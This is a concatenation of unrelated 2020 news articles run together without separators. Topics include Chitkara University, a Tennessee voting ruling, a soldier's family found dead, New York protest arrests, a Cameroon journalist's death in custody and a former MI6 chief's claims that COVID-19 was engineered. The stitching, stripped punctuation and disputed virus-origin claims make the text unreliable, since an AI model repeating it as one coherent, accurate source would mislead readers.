Earlier this year, Chitkara University also received E-Learning Excellence for Academic Digitisation (E-LEAD) Certification from QS IGUAGE. Quacquarelli Symonds (QS) IGUAGE, the Indian arm of global rankings and ratings agency, declared Chitkara University as the First Indian University in E-Learning Excellence and recognized it for its readiness & excellence in online education.

This certification was presented to Chitkara University in the midst of COVID-19 to recognise its long time initiative and fully functional system ascertained by a rigorous audit of readiness of university to cater to the online requirement of students, teachers and staff.

As well, Chitkara University is the only university from North India to feature in the top list of the Times Higher Education (THE) Impact Rankings 2020 released by Time Higher Education in April this year. The Times Higher Education Impact Rankings are the global performance tables that assess universities against the United Nations' Sustainable Development Goals (SDGs).

The university participated in eight SDGs and excelled in all of them. Overall Chitkara University is ranked 401-600 among more than 850 universities from 89 countries and regions in the exercise, which assessed the social impact of universities around the world based on the SDGs.

This story is provided by BusinessWire India. ANI will not be responsible in any way for the content of this article. (ANI/BusinessWire India)

DISCLAIMER

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A roll of "I Voted" stickers sit on a table inside a polling station at a Ross Valley fire station in San Anselmo, Calif. on June 5, 2018. (Justin Sullivan/Getty Images)

Tennessee Court Rules to Give All Registered Voters Mail-In Ballot Option Amid Pandemic

A Tennessee court ruled Thursday that the state must give all registered voters the option to cast ballots by mail amid the pandemic.

Davidson County Chancellor Ellen Hobbs Lyle ruled that Tennessees current restrictive limits on absentee voting during the pandemic constitute an unreasonable burden on the fundamental right to vote guaranteed by the Tennessee Constitution.

Outside the ruling, voters in Tennessee would normally have to justify not voting in person and only certain categories of voterssuch as seniors and the disabledare eligible to cast ballots by mail.

The judicial decision, which includes a temporary injunction, only applies to elections this year and may be appealed.

State attorneys earlier argued that allowing no-excuse absentee balloting was not feasible, citing concerns that include lack of funding, as well as shortages of equipment and staff.

Lyle disagreed, writing in the ruling that the evidence does not support the claim that it is impossible to provide expanded access to vote-by-mail options.

The Republican-led Legislature and GOP Gov. Bill Lee have dismissed the idea of offering absentee ballots to all 4.1 million registered voters in Tennessee, with lawmakers voting against Democratic expansion proposals multiple times.

Rather than giving all voters a no-excuse mail-in ballot option, state election officials have recommended a pared-down version that would see preparations made for 1.4 million registered voters over 60 years old to cast their vote by mail.

The drive to expand vote-by-mail options during the pandemic has emerged as the centerpiece of a growing political fight ahead of Novembers election.

President Donald Trump and Republican lawmakers have challenged the idea of expanding mail balloting, arguing it is vulnerable to fraud. Democrats and voting rights groups say it is a way to protect voters from the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus. They say a failure to guarantee that option amid a pandemic will disenfranchise millions of Americans.

The Heritage Foundation, a conservative think tank, has long raised the alarm about the dangers of mail-in ballot fraud.

Absentee ballots are the tools of choice of election fraudsters because they are voted outside the supervision of election officials, making it easier to steal, forge, or alter them, as well as to intimidate voters, wrote Heritage Foundation Senior Legal Fellow Hans A. von Spakovsky, in an op-ed.

The Heritage Foundations own database of all reported instances of election fraud, dating back to 1979, lists only 1,277 proven instances of voter fraud, though the organizations Communications Manager told The Epoch Times in an emailed statement that the database is only intended to represent a small sampling of the types of voter fraud that can occurit is by no means a comprehensive report of all the voter fraud that happens around the country.

A number of states have softened vote-by-mail restrictions amid the pandemic.

In this time of the worldwide COVID-19 pandemic and its contagion in gatherings of people, almost all statesboth Republican and Democratare providing their citizens the health protection of a voting by mail option, Lyle wrote in the ruling.

This includes southern states such as Alabama, South Carolina and Arkansas, and Tennessees neighboring state of Kentucky and nearby West Virginia. The governors, state officials and legislators in those states have spearheaded efforts to expand access to voting by mail to protect the health of their citizens during the pandemic, she wrote.
A soldier recently assigned to Joint Base San Antonio-Fort Sam Houston, his wife and four children were found dead inside their garage after police detected carbon monoxide permeating the house on the far North Side.

In a dramatic day that included officers sending a robot inside the home and shooting out some of the windows, the presence of the poisonous gas and a warning note led authorities to suspect it was murder-suicide.

The medical examiners office identified the man as Jared Esquibel Harless, 38. Also found dead Thursday evening were a 36-year-old female, believed to be his wife; two boys, ages 4 and 11 months; and two girls, ages 3 and 1.

The soldier served with the 470th Military Intelligence Brigade, a statement from the unit said. A next-door neighbor described Harless and his family as reclusive, rarely leaving the 2,928-square-foot house in the 100 block of Red Willow.

They kept to themselves more than usual. Theyd been here since January and the husband waved to me just once, outside. That was it. I mean, they were always locked up in the house, said Jorge Canavati Jr., a 62-year-old consultant who has lived in the neighborhood 15 years.

The only time he would come out or I would see him out or we heard him out was when the neighborhood kids would be on the cul-de-sac playing ball, and their ball would hit his garage door and he would come out furious, just yell at them, he added. And that was the only time we would see him. I think he went out once to mow the lawn or something. That was it. It was very, very weird.

The Army declined to give the soldiers rank or other details, and much remained uncertain about both how and when they died.

The bodies were found in the rear hatch area of a mid-sized SUV parked in the garage, police said.

Police Chief William McManus said suicide was a possibility, but declined to elaborate beyond saying evidence suggests the deaths were no accident.

The family apparently rented the house in the gated subdivision called the Heights of Stone Oak, about a mile from H-E-B off Wilderness Oak outside of Loop 1604. The house, with an appraised value of $335,000, is owned by a California real estate company, Bexar County property records show.

Michael Fisher

On ExpressNews.com: Part of neighborhood evacuated

Canavati said neither he nor other neighbors knew the family. Harless and his family appeared to never go out to shop, he said, instead having mounds upon mounds of Amazon boxes delivered. He said he never saw the children playing in the yard and Harless wife rarely ventured out.

Through a window, we saw the little children once inside the house. It was dark and their shades were open. The house was very close. It was very strange, It was really, really strange, Canavati said. I would see him come into the house from work in his military dress in his van, reverse it into the house very quickly, shut the garage door and that was the end of it.

We had no interaction, period.

McManus said police were called at 10:30 a.m. Thursday for a welfare check of the husband, who was working from home, after he failed to report to superiors.

They were OK yesterday (Wednesday) because he checked in with his work, McManus said. So it happened sometime overnight.

The chief said seven officers walked into the home and immediately were overcome by a noxious odor. EMS checked the officers and determined they werent hurt.

Most officers know what the smell of decomposing bodies is, and thats not what has been described, he said.

Carbon monoxide was later detected in the home.

A bizarre note was found on the front door.

McManus described it as a cryptic note with military jargon that required a member of the armed forces to decipher.

Bodies or people inside, do not enter, he said of the note.

It continued: The animals are in the freezer.

A neighbor down the street, Don Parchman, said he was getting ready to drive to the H-E-B about 11 a.m. Thursday when he noticed police everywhere, including a helicopter flying overhead. Unable to leave, he went back inside and searched the internet for news.

And the first thing I noticed, some people were texting that they suspected a murder-suicide situation, he said. There were conflicting stories about booby traps and they said they didnt see any bodies, but I think they already knew. All they had to do was look into the garage window. The garage has glass.

Canavati said police showed up at his door at 11 a.m. and asked if he had seen the family. The heavily armed officers then entered his house to see how it was configured because Harless home had a virtually identical floor plan. The officers came and went into the home over the afternoon and told Canavati and his wife to stay away from the windows.

A robot sent inside the house found what appeared to be explosives, leading authorities to believe it might be boobytrapped. People in more than 200 homes were ordered to evacuate about 5 p.m.

When I went outside to talk to them when they said you have to leave, I got a whiff of something and so no one knew what it was, so then hazmat got here, the bomb squad got here, everyone was here, the Fire Department, dozens of  it looked like something out of a movie, Canavati said. They went to their sons home in San Antonio for a few hours.

Later, McManus said no explosives were found.

Ar one point, Canavati said police fired what appeared to be rubber bullets to shatter the windows in Harless home to release the odor. He detected a chemical smell but couldnt tell what it was, and said police couldnt figure out where the bodies were because they couldnt open doors inside the house without running the risk of setting off a bomb, if there was one.

Based on the note that we received, we were very cautious about going in, and we were trying to find out what was in there before we made entry, McManus explained during a late-night news conference.

When officers finally entered the home, they found the family in the back of the SUV in the garage, which is attached to the house. Two dead cats were in a basket in the front seat, he said.

Police said they had been called to the home once in the last six months.

A retired airline pilot who flew KC-135 tankers for the Air Force, Parchman, 70, said he didnt know the family members because he never goes that way down the street, but was troubled by their deaths.

It just seems weird to me that someone would murder the family, little kids not even 4 years old and the pets, too, he said. Its just bizarre.

As the day closed, workers boarded up the shattered windows of the home, which sat vacant with nothing on the front lawn to memorialize the victims.

Canavati thought about that, feeling sadness and shock, but not grief.

In any other place where we had neighbors that you would know youd have flowers and candles and vigils, little toys on the front yard, and here theres nothing, he said. No one knew them. No one knew them.

Sig Christenson covers the military and its impact in the San Antonio and Bexar County area. To read more from Sig, become a subscriber. sigc@express-news.net | Twitter: @saddamscribe
Source: Xinhua| 2020-06-05 23:26:30|Editor: huaxia

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ACCRA, June 5 (Xinhua) -- At least two construction workers were killed by a falling wall in Ghana on Friday morning, and another one is in a critical condition, officials confirmed.

"One of the victims died on the spot, while the other one died at the hospital. The third person who is in a critical condition is receiving treatment at the Ashongman Community Hospital," the Ga East Municipal coordinator for the National Disaster Management Organization (NADMO) Seth Kissi told Xinhua.

He said the incident, which occurred at New Ashongman Estates, a suburb of the Ghanaian capital, is under investigation.

An eyewitness Kwame Appiah told Xinhua that a construction firm, which was reshaping roads in the community, had left trenches so close to the walls along the roads.

"Each time it rains, we see the walls tilting towards the road, making it very dangerous. This morning, while three workers of the construction firm were working in the trench, the wall collapsed on them," Appiah said.

A combined team of officials from NADMO and the area's local government later came in to demolish all the walls along the road under construction. Enditem
PASCAGOULA, Mississippi -- Nearly 15 years after it was decimated by Hurricane Katrina, Ingalls Shipbuilding announced Friday it has reopened the shipyards East Bank facility.

The reopening became official when Ingalls moved U.S. Navy destroyer Delbert D. Black (DDG 119) to Pier Four on the East Bank of the Pascagoula river.

This restoration and modernization project demonstrates our commitment to continuously enhancing our shipbuilding facilities to increase capability and ensure future growth, said Ingalls president Brian Cuccias. We are proud to see more of our workforce, and our customers, moving back into the heart of the city of Pascagoula.

The East Bank was the original home of Ingalls Shipbuilding when it was founded in 1938. Ingalls officials announced in April 2018 that work was beginning to bring the East Bank facility back to life after it had sat dormant since Katrina.

The 187-acre East Bank facility includes covered construction areas to improve safety and optimize ship assembly, expansive storage facilities and a fully restored pier where ships will dock after conclusion of sea trials.

The Delbert D. Black and its crew will remain on the East Bank until the ship sails away from Ingalls later this year.

During the reconstruction, which cost in excess of $100 million, Ingalls cleared and recycled more than 100,000 tons of concrete left behind after the hurricane which was used to construct a road base on the East Bank. Additionally, all of the interior and exterior lighting for the facility will use LED technology.

With a nod to its history, Ingalls salvaged many historical features from the original East Bank facility and incorporated them into new structures on the property, including all of the bricks from a 1930s guard house, as well as a concrete slab into which shipyard founder Robert Ingalls Sr. had carved his initials.

In reopening the east bank, we celebrate the 80-plus year legacy of those Ingalls shipbuilders who came before us," Cuccias said, "and look forward to continuing Ingalls legacy of building the finest ships in the world for decades to come.

The reactivation of the East Bank restores the facilitys ability to support Ingalls current construction and modernization programs, as well as better prepare the company for future work, which includes next-generation amphibious assault ships and surface warfare ships.
On Thursday, despite a citywide curfew that was aggressively enforced by police officers the night before, thousands of people were still on the streets in large gatherings in Brooklyn, Manhattan and the Bronx.

Once more, the police moved swiftly in some areas to enforce the 8 p.m. curfew. In the Bronxs Mott Haven neighborhood when the curfew deadline arrived, a row of officers on bikes stopped hundreds of people from advancing, shouting at them to move back. At the same time, another group of officers came up behind the demonstrators, fencing them in on 136th Street near Brook Avenue.

Minutes later, the police charged and began arresting people in the crowd, who had been demonstrating peacefully. Some with riot shields pushed protesters onto sidewalks with seemingly no provocation. Though many demonstrators tried to leave, with the police on all sides, there was no route for them to clear the area.

Then, around 8:30 p.m., the police charged again, swinging their batons and striking protesters. Dozens were arrested, forced to sit on the street with their hands cuffed, while one person was removed on a stretcher.
Most people may agree with the fact that cats are undeniably cute. But do you know what is even more adorable than a kitty? A kitty dressed up as a Disney Character. Dont believe us? Check out this photo, and we bet you wont be able to tell us otherwise.

The Centre County Library & Historical Museum, located in Pennsylvania in the United States, shared this image on their Instagram account. The post captioned, For the first time in fur-ever, were celebrating @idinamenzels birthday, refers to the actress who voiced Elsa in both the Frozen movies. She also sang the highly karaoke-able tracks, Into the Unknown and Let It Go.

The photograph shows Centre County Librarys resident cat, called Horatio, wearing an Elsa costume. A blonde wig accompanies the dress which genuinely ties the whole look together.

Trust us when we say that this may be the cutest version of the former Queen of Arendelle youve ever seen.

Since being shared on May 30, the post has accumulated almost 900 likes and numerous comments.

Here is how Instagram users reacted to the share. One person said, Horatio is really feeling those flowing locks. While another individual wrote, Cats dressed as people, quality childcare films, and singing goddesss birthday! A triple win! and we cannot say we dont agree.

Let it go, Let it go, I cant hold meow back anymore! read one comment.

What are your thoughts on this charming book reading cat? If you liked Horatio as Elsa, then you may be pleased to know that this isnt the first time this kitty has played dress-up. The Centre County Librarys Instagram page has many more shots of Horatio dressed up as different literary and pop culture figures. Be sure to check it out for some more historical cat content.

Also Read | This video of a cat comforting a doggo at the vet is all types of aww. Watch
Cameroon soldiers AFP

The Head of the Communication Division at Cameroons Ministry of Defence, Commander Cyrille Serge Atonfack Guemo has presented Governments version of the circumstances that led to the death of journalist Samuel Ebuwe Ajiekia alias Samuel Wazizi.

According to a press release dated Friday, June 5, 2020, the journalist died in military custody in on August 17, 2019, exactly 15 days after he was arrested in Buea. Although Wazizi was arrested by the Muea Police on August 2, 2019, the Ministry of Defence says he was arrested on August 3, 2019.

The following is the press release signed by Cyrille Serge Atonfack Guemo on behalf of the Ministry of Defence:-

The Ministry of Defence of the Republic of Cameroon hereby communicates: On Saturday, August 3, 2019 in Ekona, the security forces had proceeded during a security operation on the ground, to the arrest of Mr. Samuel Ebuwe Ajiekia, alias Samuel Wazizi suspected of having connections with terrorists and complicity in terrorist acts.

After thorough investigations, elements of the Security Forces had established that the latter, claiming to be a presenter on a local television station, a=was in fact a logistician for various terrorist groups operating on the heights of Mountain Lions (Buea), more precisely from the entrenched camps of Massouma and Wonya Makumba. He also coordinated the logistical operations of other terrorist groups operating in the Fako Division, including 21 Man Scot For Life, One For All, and the Fear of the Mountain, known as the special terrorist task force.

On august 7, 2019, the security forces had put the aforementioned at the disposal of the 21st Motorized Infantry Brigade (21st BRIM), for operational use.

Thereafter, he was transferred to the Central Criminal Investigation Service of the National Gendarmerie on august 13, 2019, via the Military Security Division, in accordance with the standard procedures.

Upon arrival in Yaounde, Mr. Samuel Ebuwe Ajiekia was feeling feverish. Thus, the Military Security Division placed him at the disposal of the Military Hospital  Military Region No. 1 in Yaounde, for consultation and appropriate care.

Unfortunately, his state of health will deteriorate as the days go by until the early morning of Saturday, August 17, 2019, when doctors certified him dead at 2:13 a.m.

The death certificate issued by this Hospital clearly stated that Samuel Ebuwe Ajiekia, born on June 6, 1984 in Molyko, died on august 17, 2019, as a result of a Severe Sepsis.

As a matter of fact, he died as a result of Severe Sepsis and not from any act of torture or physical abuse.

It is worth mentioning that the latter had remained in close contact with his family from Buea to Yaounde, and that even from his sick bed at the Yaounde Military Hospital  Military Region No. 1, he exchanged regularly with several relatives.

Once his death was confirmed, his body was deposited the same day at the Yaounde Military Hospital - Military Region No. 1 mortuary located at the Military Training Center in the Ekounou neighbourhood, Yaounde 4 subdivision, and the family was immediately informed.

We are sorry to note that the family has since then not undertaken any steps for the funeral arrangements.

10 months later, some national and international media and non-governmental organisations, with well-known editorial lines and affiliations, take offence in unison at a pseudo disappearance which is not actually the case. They even go as far as drawing a supposed parallel with current socio-security convulsions ignited in certain countries overseas.

This new episode to demonise our Defence and Security Forces clearly seems to be part of a programmed logic to demoralize them, or even demobilize them in the conduct of their missions to defend the territorial integrity of the country and protect people and their property.

Contrary to the aforementioned claims by government, his family members say they did not see Wazizi nor communicated with him after he left the Muea Police Station. His lawyers and his colleague journalists also did not know of his whereabouts until news of his death went public 10 months after.
Sometimes big news stories can be so overwhelming it can feel impossible to take in the details. The Windrush scandal was one such story.

The Windrush generation was named after the ship that brought over one of the first groups of West Indian migrants invited to the UK in 1948 to help rebuild post-war Britain.

Over the next 25 years thousands followed, taking jobs to fill shortages, particularly in the nascent NHS.

But a hostile policy instituted by Theresa May when she was Home Secretary meant many West Indian British subjects whod spent most of their lives in the UK were suddenly deemed illegal.

Sitting In Limbo, a powerful drama for BBC1, tells the true story of what happened to just one of those people, Anthony Bryan. Pictured: Anthony Bryan (Patrick Robinson) with partner Janet (Nadine Marshall)

When the scandal blew up in 2018, then Home Secretary Amber Rudd was forced to resign after misleading parliament about how many people had been affected.

The forgotten victims were the hundreds who had their lives turned upside down by the policy. They lost their jobs and their rights, were incarcerated and even deported.

Sitting In Limbo, a powerful drama for BBC1, tells the true story of what happened to just one of those people, Anthony Bryan.

This is the story of an ordinary guy dealing with injustice, says Patrick Robinson, the Casualty actor who plays Anthony. He faced being deported from his country and thats why this story needs to be told.

The 90-minute film is the first drama written by novelist Stephen S Thompson, Anthonys brother.

Anthonys been severely traumatised by the experience, he says. Its badly affected his confidence and left him questioning his very identity.

'As his brother, I saw what he went through first-hand. I couldnt bear the idea hed suffered in vain so I was determined to tell his story. For me, this is personal.

The story starts with Anthony, whod been in the UK since 1965 when he was eight, making plans to go and see his mother back in Jamaica, where he was born, after she retired there.

It was to be his first trip out of the country and hed just applied for a passport. Thats when his problems started.

The Windrush generation was named after the ship that brought over one of the first groups of West Indian migrants invited to the UK in 1948 to help rebuild post-war Britain

When he moved to Britain from Jamaica to join his mother, who was already in the UK working as a seamstress, he came on his older brothers passport, so there was no record of him arriving.

He was schooled in the UK and had been a tax-paying worker  he was a painter and decorator  since the age of 16, but his request for a passport brought him to the attention of immigration officials for the first time.

Aged 60, having lived in the UK for 52 years, he was told he had no right to stay in the country and was deemed an illegal worker. His boss was forced to sack him or face a large fine.

Although, legally, he should have been safe  the 1971 Immigration Act gave people whod settled here indefinite leave to remain  he couldnt find the documents to prove when he arrived.

His schools had destroyed their records. Twice officials pounded on his door and carted him off to immigration centres.

In total he spent five weeks incarcerated. Jobless, he lost his home and was under constant threat of deportation.

I was close to tears throughout filming, admits Patrick, whose own family are also West Indian.

I knew similar stories from my own friends. What hurt was that many West Indians saw England as the motherland.

'Theyd come here for work and a better life. They respected authority. And suddenly that authority was telling them they didnt belong.

To prepare for the drama Patrick spent time with Anthony and his partner Janet. Hes very gentle and polite. The dignified way hes dealt with it is to be applauded.

Its vital the public understands what went on, adds Patrick. These are British citizens.

'While were all thinking about NHS workers, so many of whom are descended from that generation of West Indians, people should be outraged by what happened.

Sitting In Limbo airs on Monday at 8.30pm on BBC1.
The United States said Wednesday it was waiting to build an "empowered" UN mission for Libya, frustrating France and Germany which say the delay in approving an envoy is jeopardizing momentum to end the conflict. The position of UN envoy for Libya has been vacant for three months, even with calls intensifying for a return to negotiations as the UN-recognized government beats back a rebel offensive. Hanna Serwaa Tetteh, Ghana's former foreign minister, was proposed for the role weeks ago by UN Secretary-General Antonio Guterres but has not been confirmed, with diplomats pointing to US opposition. "It's really urgent now. The situation in Libya is really bad," said the French ambassador to the United Nations, Nicolas de Riviere, as he went public with concerns Monday alongside his counterpart from Germany. Christoph Heusgen, the German ambassador, said there needed to be a political rather than military solution. "By withholding the agreement to a proposal by the secretary general with regard to the special envoy, those responsible... carry a very heavy responsibility," he said. Neither envoy explicitly named the United States. A US official, speaking on condition of anonymity, said the United States also sought Libyan negotiations soon but added: "We want an empowered UN mission that can accomplish this goal." "This will require speedy action to appoint a UN special envoy who has the senior diplomatic clout and personal standing to make that engagement meaningful," the State Department official said. The official said the envoy should "focus exclusively on negotiation" while a special representative of the secretary general would focus on running the UN mission in Libya. Ghassan Salame of Lebanon quit as envoy on March 2 citing health reasons. Guterres first proposed as his successor Ramtane Lamamra, a former Algerian foreign minister, but that choice was vetoed by the United States, leading the UN chief to name Tetteh, who since 2018 has served as the UN representative to the African Union. The United Nations has long had dual, complementary roles of special envoy and special representative in Cyprus and Western Sahara, but some countries see little to show from the model as both conflicts have been in stalemate for decades. Libya has been in chaos since 2011 when a Western-backed uprising overthrew dictator Moamer Kadhafi. Since last year, warlord Khalifa Haftar -- supported by the United Arab Emirates, Saudi Arabia, Egypt and Russian elements -- has been fighting to topple the UN-recognized Government of National Unity. The Tripoli government, backed by Turkey, has made strong gains in recent weeks, including recapturing Tripoli's international airport on Wednesday.
Beijing faces growing pressure to explain precisely how coronavirus first began to spread late last year - Telegraph

A former head of MI6 has said he believes the coronavirus pandemic "started as an accident" when the virus escaped from a laboratory in China.

In an interview with The Telegraph, Sir Richard Dearlove said he had seen an "important" new scientific report suggesting the virus did not emerge naturally but was man-made by Chinese scientists.

The apparent discovery will raise the prospect of China paying "reparations" for the death and economic catastrophe wreaked upon the world, the former intelligence chief said. It comes as Beijing faces growing pressure to explain precisely how coronavirus first began to spread late last year.

International scientists have reached a near-unanimous consensus, however, that the virus emerged in animals  most likely bats or pangolins  before jumping to the human population.

But Sir Richard, 75, pointed to a scientific paper published this week by a Norwegian-British research team who claim to have discovered clues within Covid-19's genetic sequence suggesting key elements were "inserted" and may not have evolved naturally.

From the outset, the Chinese government has endeavoured to "lock down" any debate about the origins of the virus and Beijing's handling of the crisis, he claimed.

"I do think that this started as an accident," Sir Richard told The Telegraph's new Planet Normal podcast (listen through the player at the top of this story). "It raises the issue, if China ever were to admit responsibility, does it pay reparations? I think it will make every country in the world rethink how it treats its relationship with China and how the international community behaves towards the Chinese leadership."

Sir Richard, who was the head of MI6 between 1999 and 2004, cited startling new peer-reviewed research produced by Professor Angus Dalgleish, of St George's Hospital at the University of London, and the Norwegian virologist Birger Sorensen.

Story continues

In their paper, the scientists claim to have identified "inserted sections placed on the SARS-CoV-2 Spike surface" that explain how the virus binds itself to human cells.

"The SARS-CoV-2 spike is significantly different from any other Sars that we have studied," the paper says.

It warns that current efforts to develop a vaccine are destined for failure because the true aetiology of the virus has been misunderstood. To remedy the problem, the researchers are developing their own vaccine, produced by Immunor AS, a Norwegian pharmaceutical company led by Mr Sorensen.

Sir Richard described the study as "a very important contribution to a debate which is now starting about how the virus evolved and how it got out and broke out as a pandemic", adding: "I think this particular article is very important, and I think it will shift the debate."

Sir Richard Dearlove - Martin Pope

He revealed that the Dalgleish/Sorensen paper had been rewritten several times. An earlier version, seen by The Telegraph, concluded that coronavirus should correctly be called "Wuhan virus" and claimed to have proven "beyond reasonable doubt that the Covid-19 virus is engineered".

"We are aware that these findings could have political significance and raise troubling questions," the authors originally wrote. The paper was widely circulated behind the scenes after being distributed for peer review, while intelligence officials reportedly examined its findings.

People wearing face masks walk by the river in Wuhan, the Chinese city in which the coronavirus outbreak began - Barcroft Media

However, one of the authors, John Fredrik Moxnes, the chief scientific adviser to the Norwegian military, asked for his name to be withdrawn from the research, throwing its credibility into doubt. Scientists from the Francis Crick Institute and Imperial College London also dismissed its conclusions, it is understood.

Correspondence seen by The Telegraph shows that, in April, the initial paper was rejected by leading academic journals including Nature and the Journal of Virology, which deemed the research "unsuitable for publication".

Much of the paper was watered down to remove explicit accusations against China, and the rewritten study was then judged to be of sufficient scientific merit to be accepted for publication in the Quarterly Review of Biophysics Discovery, a journal chaired by leading scientists from Stanford University and the University of Dundee.

A further analysis produced by Prof Dalgleish and his colleagues, due for release in the coming days, claims the Covid-19 virus has "unique fingerprints" that cannot have evolved naturally and are instead "indicative of purposive manipulation".

Entitled "A Reconstructed Historical Aetiology of the SARS-CoV-2 Spike", the new study, seen by The Telegraph, suggests the virus is "remarkably well-adapted virus for human co-existence" and is likely to be the result of a Wuhan lab experiment to produce "chimeric viruses of high potency".

The paper concludes: "Henceforth, those who would maintain that the Covid-19 pandemic arose from zoonotic transfer need to explain precisely why this more parsimonious account is wrong before asserting that their evidence is persuasive, most especially when, as we also show, there are puzzling errors in their use of evidence."

The paper has not yet been accepted for publication in any scientific journal.

"This [the first] article was submitted to a journal, which refused it within a week of receiving it, and in the same period accepted for publication two or three Chinese articles that relate to the virus, within 48 hours," Sir Richard said.

"So I mean, as this debate about the virus develops, I think all this material is going to be in print and is going to embarrass a number of people, I think. Let's suggest that the Chinese maybe have too much say in their journals, in what appears and what doesn't."

Wuhan Seafood Market, where experts believe the outbreak started, was sealed off by authorities in the city - Sophia Yan

The Chinese government has always insisted that the outbreak began in a "wet market" in the city of Wuhan late last year. But critics have questioned why some early human cases and their contacts appeared to have no connection to the area.

Two laboratories in Wuhan studying bat coronaviruses  the Wuhan Institute of Virology and the Wuhan Centre for Disease Control  have been suggested as the possible true sources of the outbreak.

Sir Richard suggested scientists may have been conducting secret gene-splicing experiments on bat coronaviruses when Covid-19 somehow escaped through a lapse in biosecurity.

"It's a risky business if you make a mistake," he said. "Look at the stories... of the attempts by the leadership to lockdown any debate about the origins of the pandemic and the way that people have been arrested or silenced.

"I mean, we shouldn't really have any doubt any longer about what we're dealing with."

Sir Richard said he did not believe the Chinese had released the virus deliberately, but accused Beijing of subsequently covering up the scale of its spread.

"Of course, the Chinese must have felt, well, if they've got to suffer a pandemic maybe we shouldn't try too hard to stop, as it were, our competitors suffering the same disadvantages we've got," he said.

"Look, the Chinese understand us extremely well. They have made a study of us over the last decade or longer, particularly through attending our universities. We understand the Chinese very poorly. It's an imbalanced relationship in that respect."

Last month, the US Secretary of State, Mike Pompeo, claimed there was "enormous evidence" that the coronavirus outbreak originated in a Chinese laboratory, but did not provide any proof. However, the US National Intelligence Director's office later said it had determined that Covid-19 "was not manmade or genetically modified".

During a television interview on May 9, Matt Hancock, the Health Secretary, said: "We don't have any evidence that this is a man-made coronavirus."

Matt Hancock said: 'We don't have any evidence that this is a man-made coronavirus.' - Shutterstock

Scientists analysing Covid-19 have also reported no signs that the genetic sequence was manipulated or distorted in any way. Nevertheless, Beijing is facing growing pressure to reveal everything it knows about the origins of Covid-19 amid accusations that the rest of the world may have been misled.

Sir Richard praised the Australian government for leading calls for an official inquiry after Scott Morrison, the Prime Minister, suggested that the World Health Organisation needed tough new "weapons inspector" powers to investigate the origins of Covid-19.

"I think it's very courageous of the Australians to take China on," Sir Richard said. "I mean, there's an obvious, huge imbalance in terms of power, both economic and military and political, but they are showing the way. You have to have a critical relationship with China."

He urged the UK Government to abandon plans to allow the Chinese telecoms firm Huawei to have a role in building Britain's new 5G network, and to reduce the reliance on Chinese factories to make cheap personal protective equipment (PPE) for frontline NHS health workers.

"We need to go into reverse," he said. "It's important that we do not put any of our critical infrastructure in the hands of Chinese interests. So telecommunications, Huawei, nuclear power stations, and then things that, you know, we require and need in a crisis, like PPE.

"We have allowed China so much rope that we are now suffering the consequences, and it's time to pull the rope in and to tighten the way we do business. It's very, very important that we keep a keen eye on this and do not allow the Chinese to, as it were, benefit strategically from this situation that has been imposed on all of us."

Sir Richard criticised George Osborne, the former Chancellor, for proclaiming that Britain would be China's "best partner in the West" during a charm offensive in September 2015.

"I think the problem with young politicians, and when he was in office he was young, is that they lack experience and they lack depth of knowledge, and I don't think that George Osborne really understood what the leadership of a real communist party is like," Sir Richard said.

"I spent most of my career dealing with the issue of communism, with the autocratic nature of the way that these parties are run and their immense disregard for law, for human rights, for all of these areas, and I mean George Osborne just conveniently disregarded all of that."

Earlier this week, Liu Xiaoming, the Chinese ambassador to the UK, said Beijing would welcome an international investigation into the origins of the pandemic, insisting his country had nothing to hide.

"China's record is clean. It can stand the test of time and history," he said.

Telegraph subscribers can listen to the full, uncut version of the interview here.

Discuss this story and debate with other Telegraph readers in our Telegraph Facebook group
June 05 : Designers believe black is fashions favourite colour. Bollywood divas love this shade when it comes to dressing it up for a glamorous event. The millennial divasTara Sutaria to Janhvi Kapoor and Ananya Pandayare seen favouring black ensembles for their night outs.

Tara Sutaria picked this stunning gown by Marmar Halim that featured an on-trend off-shoulder pattern with a bold slit. If you're looking for a night out the ensemble, look towards this diva for inspiration.

Kiara Advanis black printed midi dress has an easy-breezy silhouette. The midi dress by Ritu Kumar makes a winning choice when the mercury rises. It can become a weekend staple in your closet.

Janhvi Kapoors picks never go unnoticed. This sparkling sheer black dress by Kuwaiti couturier Yousef Aljasmi looks dramatic. The crystal-encrusted bodycon dress accentuated her curves.

Ananya Panday gave us a sultry take with this one-shoulder sequined dress by Monique Lhuillier with a dramatic thigh-high slit. With the body-hugging silhouette, her look packed quite the punch.

Nushrat Bharucha pulled out all the stops as she stepped out in a little black glittery dress by Rohit Gandhi and Rahul Khanna. The cut-out waist gave a peek at her toned abs and took things in a sultry direction.
George Floyds uncle speaks out

RAPID CITY  We had a rainbow here today, Selwyn Jones, uncle of George Floyd, said about a May 30 Walk/Stand Up for George event organized in Rapid City to bring attention to the murder of his nephew.

George Floyd, died on Memorial Day at the hands of a white Minnesota police officer which has sparked outrage and protests across the nation including Minneapolis, Washington, D.C., and in 23 states: Arizona, Alaska, California, Colorado, Florida, Georgia, Illinois, Indiana, Kentucky, Michigan, Minnesota, North Carolina, Nevada, Ohio, Pennsylvania, South Carolina, South Dakota, Tennessee, Texas, Utah, Virginia, Washington and Wisconsin.

Video coverage of Floyds death was posted on the internet shortly after the incident that showed police officer Derek Chauvin with his knee on Floyd's neck for a total of 8 minutes and 46 seconds, including two minutes and 53 seconds of which Floyd was non-responsive.

According to a complaint filed in Hennepin County, Police were called after Floyd had allegedly used a fake $20 bill to make a purchase at a local Cup Food.

When in the heck did forgery become a death sentence? asked Jones. All I know is somebody decided he dont need to be here anymore.

Millions of people have watched my nephew get executed online. He died right before the eyes of the world, Jones told Native Sun News Today.

Selwyn Jones attended the Walk/Stand Up for George event in Rapid City, South Dakota, as a gesture of solidarity in the death of his nephew, George Floyd, who he affectionately calls Perry. Photo by Native Sun News Today

The May 30 Walk/Stand Up for George event, which began at the Band Shell in Memorial Park, up to 5th Street then down to Omaha Street was organized by Jodi Prue, Madison Castaneda, Shaylene Cordero, and Becca Thompson.

Hundreds of people of all nationalities showed up in support, carrying signs that read: Justice for George Stop killing us and Black Lives Matter as they chanted No justice, no peace. Say his name, George Floyd and George Floyd, I cant breathe. It is so heartbreaking, said Prue. I recently lost my sister and father and that broke my heart, but watching that video broke my heart equally.

We are not trying to bring down our city, we just want change, said Prue in light of riots in other cities.

Statement from Rapid City Mayor Steve Allender, who is also a former police chief:



"The death of George Floyd was an unnecessary tragedy. Mr. Floyd's family+friends grieve for a specific person while untold others grieve for a system of unfairness or injustice." pic.twitter.com/hJNtBHsSHM  Arielle Zionts (@Ajzionts) June 1, 2020

